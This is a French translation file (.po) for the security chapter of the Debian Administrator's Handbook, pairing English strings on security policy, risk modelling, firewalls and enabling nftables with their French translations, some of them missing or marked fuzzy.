File: 14_security.po

package info (click to toggle)
debian-handbook 10.20200619
  • links: PTS, VCS
  • area: main
  • in suites: bullseye
  • size: 135,632 kB
  • sloc: xml: 29,579; sh: 227; makefile: 62; perl: 54
file content (2957 lines) | stat: -rw-r--r-- 314,024 bytes parent folder | download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034
2035
2036
2037
2038
2039
2040
2041
2042
2043
2044
2045
2046
2047
2048
2049
2050
2051
2052
2053
2054
2055
2056
2057
2058
2059
2060
2061
2062
2063
2064
2065
2066
2067
2068
2069
2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
2109
2110
2111
2112
2113
2114
2115
2116
2117
2118
2119
2120
2121
2122
2123
2124
2125
2126
2127
2128
2129
2130
2131
2132
2133
2134
2135
2136
2137
2138
2139
2140
2141
2142
2143
2144
2145
2146
2147
2148
2149
2150
2151
2152
2153
2154
2155
2156
2157
2158
2159
2160
2161
2162
2163
2164
2165
2166
2167
2168
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211
2212
2213
2214
2215
2216
2217
2218
2219
2220
2221
2222
2223
2224
2225
2226
2227
2228
2229
2230
2231
2232
2233
2234
2235
2236
2237
2238
2239
2240
2241
2242
2243
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285
2286
2287
2288
2289
2290
2291
2292
2293
2294
2295
2296
2297
2298
2299
2300
2301
2302
2303
2304
2305
2306
2307
2308
2309
2310
2311
2312
2313
2314
2315
2316
2317
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359
2360
2361
2362
2363
2364
2365
2366
2367
2368
2369
2370
2371
2372
2373
2374
2375
2376
2377
2378
2379
2380
2381
2382
2383
2384
2385
2386
2387
2388
2389
2390
2391
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433
2434
2435
2436
2437
2438
2439
2440
2441
2442
2443
2444
2445
2446
2447
2448
2449
2450
2451
2452
2453
2454
2455
2456
2457
2458
2459
2460
2461
2462
2463
2464
2465
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507
2508
2509
2510
2511
2512
2513
2514
2515
2516
2517
2518
2519
2520
2521
2522
2523
2524
2525
2526
2527
2528
2529
2530
2531
2532
2533
2534
2535
2536
2537
2538
2539
2540
2541
2542
2543
2544
2545
2546
2547
2548
2549
2550
2551
2552
2553
2554
2555
2556
2557
2558
2559
2560
2561
2562
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617
2618
2619
2620
2621
2622
2623
2624
2625
2626
2627
2628
2629
2630
2631
2632
2633
2634
2635
2636
2637
2638
2639
2640
2641
2642
2643
2644
2645
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2660
2661
2662
2663
2664
2665
2666
2667
2668
2669
2670
2671
2672
2673
2674
2675
2676
2677
2678
2679
2680
2681
2682
2683
2684
2685
2686
2687
2688
2689
2690
2691
2692
2693
2694
2695
2696
2697
2698
2699
2700
2701
2702
2703
2704
2705
2706
2707
2708
2709
2710
2711
2712
2713
2714
2715
2716
2717
2718
2719
2720
2721
2722
2723
2724
2725
2726
2727
2728
2729
2730
2731
2732
2733
2734
2735
2736
2737
2738
2739
2740
2741
2742
2743
2744
2745
2746
2747
2748
2749
2750
2751
2752
2753
2754
2755
2756
2757
2758
2759
2760
2761
2762
2763
2764
2765
2766
2767
2768
2769
2770
2771
2772
2773
2774
2775
2776
2777
2778
2779
2780
2781
2782
2783
2784
2785
2786
2787
2788
2789
2790
2791
2792
2793
2794
2795
2796
2797
2798
2799
2800
2801
2802
2803
2804
2805
2806
2807
2808
2809
2810
2811
2812
2813
2814
2815
2816
2817
2818
2819
2820
2821
2822
2823
2824
2825
2826
2827
2828
2829
2830
2831
2832
2833
2834
2835
2836
2837
2838
2839
2840
2841
2842
2843
2844
2845
2846
2847
2848
2849
2850
2851
2852
2853
2854
2855
2856
2857
2858
2859
2860
2861
2862
2863
2864
2865
2866
2867
2868
2869
2870
2871
2872
2873
2874
2875
2876
2877
2878
2879
2880
2881
2882
2883
2884
2885
2886
2887
2888
2889
2890
2891
2892
2893
2894
2895
2896
2897
2898
2899
2900
2901
2902
2903
2904
2905
2906
2907
2908
2909
2910
2911
2912
2913
2914
2915
2916
2917
2918
2919
2920
2921
2922
2923
2924
2925
2926
2927
2928
2929
2930
2931
2932
2933
2934
2935
2936
2937
2938
2939
2940
2941
2942
2943
2944
2945
2946
2947
2948
2949
2950
2951
2952
2953
2954
2955
2956
2957
# Roland Mas <lolando@debian.org>, 2015.
msgid ""
msgstr ""
"Project-Id-Version: 0\n"
"POT-Creation-Date: 2020-05-17 17:54+0200\n"
"PO-Revision-Date: 2018-02-13 06:46+0000\n"
"Last-Translator: Olivier Humbert <trebmuh@tuxfamily.org>\n"
"Language-Team: French <https://hosted.weblate.org/projects/debian-handbook/14_security/fr/>\n"
"Language: fr-FR\n"
"MIME-Version: 1.0\n"
"Content-Type: application/x-publican; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Weblate 2.19-dev\n"

msgid "Firewall"
msgstr "Pare-feu"

msgid "Netfilter"
msgstr "Netfilter"

msgid "nftables"
msgstr ""

msgid "IDS/NIDS"
msgstr "IDS/NIDS"

msgid "Security"
msgstr "Sécurité"

msgid "An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”."
msgstr "Un système d'information a, selon les cas, une importance variable ; parfois, il est vital à la survie d'une entreprise. Il doit donc être protégé en conséquence contre divers risques, ce que l'on regroupe communément sous l'appellation de sécurité."

msgid "Defining a Security Policy"
msgstr "Définir une politique de sécurité"

msgid "<emphasis>CAUTION</emphasis> Scope of this chapter"
msgstr "<emphasis>ATTENTION</emphasis> Portée de ce chapitre"

msgid "Security is a vast and very sensitive subject, so we cannot claim to describe it in any kind of comprehensive manner in the course of a single chapter. We will only delineate a few important points and describe some of the tools and methods that can be of use in the security domain. For further reading, literature abounds, and entire books have been devoted to the subject. An excellent starting point would be <citetitle>Linux Server Security</citetitle> by Michael D. Bauer (published by O'Reilly)."
msgstr "La sécurité est un sujet vaste et sensible, que nous ne saurions traiter complètement dans le cadre d'un seul chapitre. Nous nous limiterons ici à délimiter quelques points importants et présenter quelques-uns des outils et méthodes qui peuvent servir dans le domaine, mais la littérature est abondante et des ouvrages entiers ont été écrits sur le sujet. On pourra par exemple se rapporter à l'ouvrage <citetitle>Sécuriser un réseau Linux</citetitle> de Bernard Boutherin et Benoît Delaunay (collection Cahiers de l'Admin, éditions Eyrolles) ; à <citetitle>Sécurité informatique, principes et méthode</citetitle> de Laurent Bloch et Christophe Wolfhugel (collection blanche, éditions Eyrolles également) ; ou, en anglais, à l'excellent <citetitle>Linux Server Security</citetitle> de Michael D. Bauer (éditions O'Reilly)."

msgid "The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security."
msgstr "Le terme de « sécurité » recouvre une vaste étendue de concepts, d'outils et de procédures, qui ne s'appliquent pas à tous les cas. Il convient de s'interroger sur ce que l'on souhaite accomplir pour choisir lesquels mettre en œuvre. Pour sécuriser un système, il faut se poser quelques questions ; si l'on se lance tête baissée dans la mise en œuvre d'outils, on risque de se focaliser sur certains aspects au détriment des plus importants."

msgid "The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:"
msgstr "Il est donc crucial de se fixer un but. Pour cela, il s'agit d'apporter des réponses aux questions suivantes :"

msgid "<emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data."
msgstr "Que cherche-t-on à protéger ? La politique de sécurité à mener ne sera pas la même selon que l'on cherche à protéger les ordinateurs ou les données. Et s'il s'agit des données, il faudra également se demander lesquelles."

msgid "What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?"
msgstr "Contre quoi cherche-t-on à se protéger ? Est-ce d'un vol de données confidentielles ? De la perte accidentelle de ces données ? De la perte de revenu associée à une interruption de service ?"

msgid "Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group."
msgstr "Également, de qui cherche-t-on à se protéger ? Les mesures de sécurité à mettre en place différeront largement selon que l'on cherche à se prémunir d'une faute de frappe d'un utilisateur habituel du système ou d'un groupe d'attaquants déterminés."

msgid "The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions."
msgstr "Il est d'usage d'appeler « risque » la conjonction des trois facteurs : ce qui doit être protégé, ce qu'on souhaite éviter et les éléments qui essaient de faire en sorte que cela arrive. La réunion des réponses à ces trois questions permet de modéliser ce risque. De cette modélisation découlera une politique de sécurité, qui se manifestera à son tour par des actions concrètes."

msgid "<emphasis>NOTE</emphasis> Permanent questioning"
msgstr "<emphasis>NOTE</emphasis> Remise en question permanente"

msgid "Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly."
msgstr "Bruce Schneier, un des experts mondialement reconnus en matière de sécurité (pas uniquement informatique, d'ailleurs) lutte contre un des mythes importants de la sécurité par l'expression « La sécurité est un processus, non un produit. » Les actifs à protéger évoluent au fil du temps, de même que les menaces qui pèsent dessus et les moyens dont disposent les attaquants potentiels. Il est donc important, même si une politique de sécurité a été parfaitement conçue et mise en œuvre, de ne pas s'endormir sur ses lauriers. Les composants du risque évoluant, la réponse à apporter à ce risque doit également évoluer à leur suite."

msgid "Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation."
msgstr "Il faudra enfin prendre en compte les contraintes qui peuvent limiter la liberté d'action. Jusqu'où est-on prêt à aller pour sécuriser le système ? Cette question a un impact majeur et la réponse apportée est trop souvent formulée en seuls termes de coût, alors qu'il faut également se demander jusqu'à quel point la politique de sécurité peut incommoder les utilisateurs du système, ou en dégrader les performances, par exemple."

msgid "Once the risk has been modeled, one can start thinking about designing an actual security policy."
msgstr "Une fois que l'on a établi une modélisation du risque dont on cherche à se prémunir, on peut se pencher sur la définition d'une politique de sécurité."

msgid "<emphasis>NOTE</emphasis> Extreme policies"
msgstr "<emphasis>NOTE</emphasis> Politiques extrĂŞmes"

msgid "There are cases where the choice of actions required to secure a system is extremely simple."
msgstr "Dans certains cas, le choix des actions à mener pour sécuriser un système peut être extrêmement simple."

msgid "For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach."
msgstr "Par exemple, si le système à protéger se compose exclusivement d'un ordinateur de récupération qu'on n'utilise que pour additionner des chiffres en fin de journée, on peut tout à fait raisonnablement décider de ne rien faire de spécial pour le protéger ; en effet, la valeur intrinsèque du système est faible, celle des données est nulle puisqu'elles ne sont pas stockées sur cet ordinateur et un attaquant potentiel ne gagnerait à s'infiltrer sur ce « système » qu'une calculatrice un peu encombrante. Le coût de la sécurisation d'un tel système dépasserait probablement largement celui du risque."

msgid "At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…"
msgstr "À l'opposé, si l'on cherche à protéger absolument la confidentialité de données secrètes, au détriment de toute autre considération, une réponse appropriée serait la destruction complète de ces données (avec effacement des fichiers, puis pulvérisation des disques durs, dissolution dans de l'acide, etc.). Si les données doivent de plus être préservées, mais pas nécessairement accessibles, et si le coût n'est pas soumis à des contraintes, on pourra commencer en stockant ces données gravées sur des plaques de platine iridié stockées en divers bunkers répartis sous différentes montagnes dans le monde, chacun étant bien entendu entièrement secret mais gardé par des armées entières…"

#, fuzzy
#| msgid "Extreme though these examples may seem, they would nevertheless be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other."
msgid "Extreme though these examples may seem, they would, nevertheless, be an adequate response to defined risks, insofar as they are the outcome of a thought process that takes into account the goals to reach and the constraints to fulfill. When coming from a reasoned decision, no security policy is less respectable than any other."
msgstr "Pour extrêmes qu'ils puissent paraître, ces deux exemples n'en sont pas moins des réponses adaptées à des risques définis, dans la mesure où ils découlent d'une réflexion qui prend en compte les buts à atteindre et les contraintes présentes. Lorsqu'il s'agit d'une décision raisonnée, aucune politique de sécurité n'est moins respectable qu'une autre."

msgid "In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel."
msgstr "Dans la plupart des cas, on s'apercevra que le système informatique peut être segmenté en sous-ensembles cohérents plus ou moins indépendants. Chacun de ces sous-systèmes pourra avoir ses besoins et ses contraintes propres ; il faudra donc en général les considérer séparément lors de la définition des politiques de sécurité correspondantes. Il conviendra alors de toujours garder à l'esprit le principe selon lequel un périmètre court et bien défini est plus facile à défendre qu'une frontière vague et longue. L'organisation du réseau devra donc être pensée en conséquence, afin que les services les plus sensibles soient concentrés sur un petit nombre de machines et que ces machines ne soient accessibles qu'à travers un nombre minimal de points de passage, plus faciles à sécuriser que s'il faut défendre chacune des machines contre l'intégralité du monde extérieur. On voit clairement apparaître ici l'utilité des solutions de filtrage du trafic réseau, notamment par des pare-feu. On pourra pour cela utiliser du matériel dédié, mais une solution peut-être plus simple et plus souple est d'utiliser un pare-feu logiciel, tel que celui intégré dans le noyau Linux."

msgid "Firewall or Packet Filtering"
msgstr "Pare-feu ou filtre de paquets"

# TODO: INTEGRATE ALTERNATE STRING: <primary><foreignphrase>firewall</foreignphrase></primary> <see>pare-feu</see>
msgid "<primary>firewall</primary>"
msgstr "<primary>pare-feu</primary>"

msgid "<primary>packet filter</primary>"
msgstr "<primary>filtre de paquets</primary>"

msgid "<emphasis>BACK TO BASICS</emphasis> Firewall"
msgstr "<emphasis>B.A.-BA</emphasis> Pare-feu"

msgid "<primary>packet</primary><secondary>IP</secondary>"
msgstr "<primary>paquet</primary><secondary>IP</secondary>"

msgid "A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions."
msgstr "Un pare-feu <foreignphrase>(firewall)</foreignphrase> est un ensemble matériel ou logiciel qui trie les paquets qui circulent par son intermédiaire, en provenance ou vers le réseau local, et ne laisse passer que ceux qui vérifient certaines conditions."

msgid "A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets."
msgstr "Un pare-feu est une passerelle filtrante : il applique des règles de filtrage aux paquets qui le traversent (c'est pourquoi il n'est utile qu'en tant que point de passage obligé)."

msgid "<emphasis>SPECIFIC CASE</emphasis> Local Firewall"
msgstr "<emphasis>CAS PARTICULIER</emphasis> Pare-feu local"

msgid "A firewall can be restricted to one particular machine (as opposed to a complete network), in which case its role is to filter or limit access to some services, or possibly to prevent outgoing connections by rogue software that a user could, willingly or not, have installed."
msgstr "Un pare-feu peut limiter son action à une seule machine (et non pas un réseau local complet) ; son rôle principal est alors de refuser ou limiter l'accès à certains services, voire de se prémunir contre l'établissement de connexions sortantes par des logiciels indésirables que l'utilisateur pourrait avoir installés (volontairement ou pas)."

#, fuzzy
#| msgid "The Linux kernel embeds the <emphasis>netfilter</emphasis> firewall. It can be controlled from user space with the <command>iptables</command> and <command>ip6tables</command> commands. The difference between these two commands is that the former acts on the IPv4 network, whereas the latter acts on IPv6. Since both network protocol stacks will probably be around for many years, both tools will need to be used in parallel."
msgid "The Linux kernel embeds the <emphasis>netfilter</emphasis> firewall, which can be controlled from user space with the <command>iptables</command>, <command>ip6tables</command>, <command>arptables</command> and <command>ebtables</command> commands."
msgstr "Le noyau Linux intègre le pare-feu netfilter ; les outils <command>iptables</command> et <command>ip6tables</command> permettent de le configurer. La différence entre ces deux outils se limite à ce que le premier agit sur le réseau IPv4 alors que le second intervient sur le réseau IPv6. Les deux piles réseau étant amenées à cohabiter pendant de nombreuses années, il faudra faire usage des deux outils en parallèle."

msgid "<primary><command>iptables</command></primary>"
msgstr "<primary><command>iptables</command></primary>"

msgid "However, Netfilter iptables commands are being replaced by nftables, which avoids many of its problems. Its design involves less code duplication, and it can be managed with just the <command>nft</command> command. Debian <emphasis role=\"distribution\">Buster</emphasis> uses the nftables framework by default."
msgstr ""

msgid "To enable a default firewall in Debian execute:"
msgstr ""

msgid ""
"<computeroutput># </computeroutput><userinput>apt install -y nftables\n"
"</userinput><computeroutput>Reading package lists... Done\n"
"...\n"
"# </computeroutput><userinput>systemctl enable nftables.service</userinput><computeroutput>\n"
"Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/systemd/system/nftables.service.\n"
"</computeroutput>"
msgstr ""

#, fuzzy
#| msgid "Netfilter Behavior"
msgid "nftables Behavior"
msgstr "Fonctionnement de netfilter"

